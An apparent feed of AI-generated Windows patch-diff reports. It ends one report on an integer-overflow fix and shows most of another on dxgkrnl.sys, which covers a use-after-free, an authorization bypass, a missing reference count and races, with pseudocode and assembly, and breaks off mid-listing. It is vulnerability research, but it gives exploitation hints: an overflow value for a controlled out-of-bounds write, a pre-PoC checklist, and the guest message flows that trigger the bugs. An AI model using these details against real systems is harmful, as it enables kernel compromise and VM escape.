&lt;p&gt;&lt;strong&gt;Implication:&lt;/strong&gt; The security-relevant change is the added integer-overflow check in &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008b90)&lt;/code&gt;. &lt;code&gt;EapSignalMessageReadFromBuffer (sub_140008a98)&lt;/code&gt; is a refactor that relocates already-present WNF bounds checks into a shared helper. Nothing protective was removed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High&lt;/strong&gt; that the change is a genuine integer-overflow fix. The vulnerable 32-bit arithmetic, the missing wrap check, and the patched &lt;code&gt;cmp eax,edi; jb → STATUS_INTEGER_OVERFLOW&lt;/code&gt; are all directly confirmed in both builds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats / assumptions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; is an exported function with no internal callers, so it is reached through its export. The exact RPC procedure/opnum that dispatches into it from user mode, and therefore the privilege level and degree of attacker control over &lt;code&gt;arg8&lt;/code&gt;, are &lt;strong&gt;not determinable&lt;/strong&gt; from these binaries.&lt;/li&gt;
&lt;li&gt;The overflow and the copy length are strictly 32-bit-bounded (&lt;code&gt;arg8&lt;/code&gt; is loaded as a DWORD at &lt;code&gt;0x1c0003545&lt;/code&gt;; the &lt;code&gt;memmove&lt;/code&gt; length is the zero-extended &lt;code&gt;r15&lt;/code&gt;), so the maximum out-of-bounds write length is ~4 GB, not a 64-bit value.&lt;/li&gt;
&lt;li&gt;A large &lt;code&gt;arg8&lt;/code&gt; (e.g. &lt;code&gt;0xFFFFFFF0&lt;/code&gt;) drives a very long copy that will fault quickly; choosing &lt;code&gt;arg8&lt;/code&gt; to wrap to a small non-zero total (e.g. &lt;code&gt;0xFFFFFFE1&lt;/code&gt;) yields a short, controlled-length out-of-bounds write.&lt;/li&gt;
&lt;li&gt;The patch migrates the vulnerable allocation to &lt;code&gt;ExAllocatePool2(POOL_FLAG_NON_PAGED)&lt;/code&gt;. On the &lt;strong&gt;unpatched&lt;/strong&gt; binary it is &lt;code&gt;ExAllocatePoolWithTag(PagedPool, ...)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Manual verification checklist before PoC:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Disassemble the user-mode Broker Infrastructure client to confirm the RPC opnum that lands in &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Reverse &lt;code&gt;EaiFindAndAcquireAggregateEvent (sub_1c000251c)&lt;/code&gt; (hash-table lookup on &lt;code&gt;arg1&lt;/code&gt;) to learn how to construct a valid aggregation context.&lt;/li&gt;
&lt;li&gt;Reverse the entry-validation gate to confirm exactly which &lt;code&gt;arg2&lt;/code&gt; event-ID pairs are accepted.&lt;/li&gt;
&lt;li&gt;Verify the unpatched pool type / tag at runtime with &lt;code&gt;!poolfind 0x41747645 1&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>dxgkrnl.sys — Use-After-Free (CWE-416) — missing reference count on DXGSHAREDVMOBJECT in DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/dxgkrnl_6ac125d5-dxgkrnl-report-20260626-092344.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/dxgkrnl_6ac125d5-dxgkrnl-report-20260626-092344.html</id><summary type="html">&lt;p&gt;KB5073724&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary&lt;/strong&gt;: &lt;code&gt;dxgkrnl_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary&lt;/strong&gt;: &lt;code&gt;dxgkrnl_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity&lt;/strong&gt;: 0.99 (99%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;Matched Functions: 6897&lt;/li&gt;
&lt;li&gt;Changed Functions: 38&lt;/li&gt;
&lt;li&gt;Identical Functions: 6859&lt;/li&gt;
&lt;li&gt;Unmatched Functions: 0 (Unpatched), 0 (Patched)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict&lt;/strong&gt;: The patch remediates multiple critical vulnerabilities in the GPU paravirtualization (VMBus) interfaces of &lt;code&gt;dxgkrnl.sys&lt;/code&gt;, most notably a Use-After-Free (UAF) in the Remote Object Channel and a cross-device memory access bypass, both enabled by security checks being improperly gated behind disabled feature flags.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;p&gt;The patch addresses several critical flaws stemming from missing locks, missing reference counting, and bypassed authorization checks—most of which were erroneously gated behind internal feature-staging flags in the unpatched build.&lt;/p&gt;
&lt;h3&gt;Finding 1: Use-After-Free in &lt;code&gt;ProcessChannelMessage&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Use-After-Free (CWE-416)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: When processing VMBus message type 1 (CreateBundle, size 0x58), the handler iterates over guest-supplied shared VM object handles. The unpatched code only calls &lt;code&gt;DXGSHAREDVMOBJECT::AddReference()&lt;/code&gt; if &lt;code&gt;Feature_1259646266__private_IsEnabledDeviceUsage()&lt;/code&gt; returns true. Because this flag is disabled by default, the object pointer is used to read data (&lt;code&gt;+0x8&lt;/code&gt; and &lt;code&gt;+0x0&lt;/code&gt;) without holding a reference. A concurrent thread or VMBus message (e.g., type 3 DestroyBundle) can free the object, causing the kernel to read from reclaimed pool memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point &amp;amp; Data Flow&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;Malicious guest VM sends VMBus packet to &lt;code&gt;DXG_HOST_REMOTEOBJECTCHANNEL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmBusProcessPacket&lt;/code&gt; dispatches the packet to &lt;code&gt;ProcessChannelMessage&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Handler matches message type 1, size 0x58.&lt;/li&gt;
&lt;li&gt;Iterates array of handles at &lt;code&gt;arg2+0x18&lt;/code&gt; (count at &lt;code&gt;arg2+0x10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Looks up &lt;code&gt;DXGSHAREDVMOBJECT&lt;/code&gt; from handle table.&lt;/li&gt;
&lt;li&gt;Skips &lt;code&gt;AddReference&lt;/code&gt; due to disabled feature flag, leaving a dangling pointer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Cross-Device Memory Access in &lt;code&gt;VmBusBlt&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Missing Authorization / Confused Deputy (CWE-863)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: While handling &lt;code&gt;DXGKVMB_COMMAND_BLT&lt;/code&gt; from a guest VM, the unpatched code validates that the provided DXGCONTEXT belongs to the provided DXGDEVICE by comparing &lt;code&gt;context-&amp;gt;device&lt;/code&gt; pointers. However, this critical isolation check is bypassed if &lt;code&gt;Feature_611095865&lt;/code&gt; returns false. A malicious guest can intentionally mismatch device and context handles to execute a BLT (memory copy) operation across device boundaries, breaking VM-to-VM or process-to-process isolation on the GPU.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point &amp;amp; Data Flow&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;Guest VM sends &lt;code&gt;DXGKVMB_COMMAND_BLT&lt;/code&gt; over the virtual GPU VMBus.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VmBusBlt&lt;/code&gt; extracts the target context and device handles.&lt;/li&gt;
&lt;li&gt;The function skips the ownership validation check due to the feature flag.&lt;/li&gt;
&lt;li&gt;The BLT command proceeds with unauthorized memory access.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Missing Resource Reference in &lt;code&gt;VmBusCreateNtSharedObject&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Missing Reference Count (CWE-911)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function&lt;/strong&gt;: &lt;code&gt;DXG_HOST_GLOBAL_VMBUS::VmBusCreateNtSharedObject&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: If the handle table entry type is &lt;code&gt;0x4&lt;/code&gt; (&lt;code&gt;DXGRESOURCE&lt;/code&gt;), the code is supposed to create a &lt;code&gt;DXGRESOURCEREFERENCE&lt;/code&gt; for safe tracking. The unpatched code skips this reference creation if &lt;code&gt;Feature_309893433&lt;/code&gt; is disabled, while still sharing the object. This leads to a potential UAF when the underlying resource is destroyed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 4: Race Conditions in Pin/Unpin Operations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Medium to High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: Race Condition (CWE-362)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions&lt;/strong&gt;: &lt;code&gt;DXGDEVICE::PinResources&lt;/code&gt;, &lt;code&gt;DXGDEVICE::UnpinResource&lt;/code&gt;, &lt;code&gt;DXGCONTEXT::RenderKmLda&lt;/code&gt;, &lt;code&gt;DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObjectCblt&lt;/code&gt;, &lt;code&gt;SignalSynchronizationObjectFromCpu&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause&lt;/strong&gt;: The unpatched code performs these operations without the protecting locks. The patch adds/restores the locking in two distinct directions. &lt;code&gt;DXGSYNCOBJECTLOCK::AcquireShared&lt;/code&gt; already exists in the unpatched build but is gated behind &lt;code&gt;Feature_2505606457&lt;/code&gt;; the patch removes that gate and makes the acquire unconditional. Per-resource &lt;code&gt;DXGAUTOMUTEX::Acquire&lt;/code&gt; locking is entirely NEW in the patch (0 occurrences in the unpatched build) and is itself gated behind the newly-introduced &lt;code&gt;Feature_253710648&lt;/code&gt; staging flag, i.e. a staged rollout where the lock is only taken once the flag is enabled. With the locks absent, the code modifies allocation flags, triggers GPU paging callbacks, or signals sync objects without holding the required locks, allowing concurrent modification. This locking-based hardening matches the KB's assigned CWE-362 race-condition CVEs (CVE-2026-20814, CVE-2026-20836).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage&lt;/code&gt; (UAF)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED  (decompilation of 0x1C028C3A0, per-handle loop body)&lt;/span&gt;
&lt;span class="c1"&gt;// v35 is the DXGSHAREDVMOBJECT looked up from the guest&amp;#39;s handle table.&lt;/span&gt;
&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v34&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Feature_1259646266__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AddReference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// reference taken only when flag is enabled&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v66&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// and only then recorded for later release&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;v67&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// read object+0x8  (runs even when no reference was taken)&lt;/span&gt;
&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// read object+0x0  (runs even when no reference was taken)&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED  (decompilation of 0x1C028C490, same loop body)&lt;/span&gt;
&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v34&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AddReference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v33&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// reference taken unconditionally&lt;/span&gt;
&lt;span class="n"&gt;v64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// read object+0x8, reference now held&lt;/span&gt;
&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// read object+0x0, reference now held&lt;/span&gt;
&lt;span class="n"&gt;v63&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// recorded for later release, unconditionally&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched Assembly (Vulnerable Sequence, 0x1C028C3A0)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C73C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+r12*8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;look&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;table&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C740&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C743&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C028C7CC&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C749&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_1259646266__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C00281DC&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C74E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C750&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C028C75F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AddReference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C752&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;
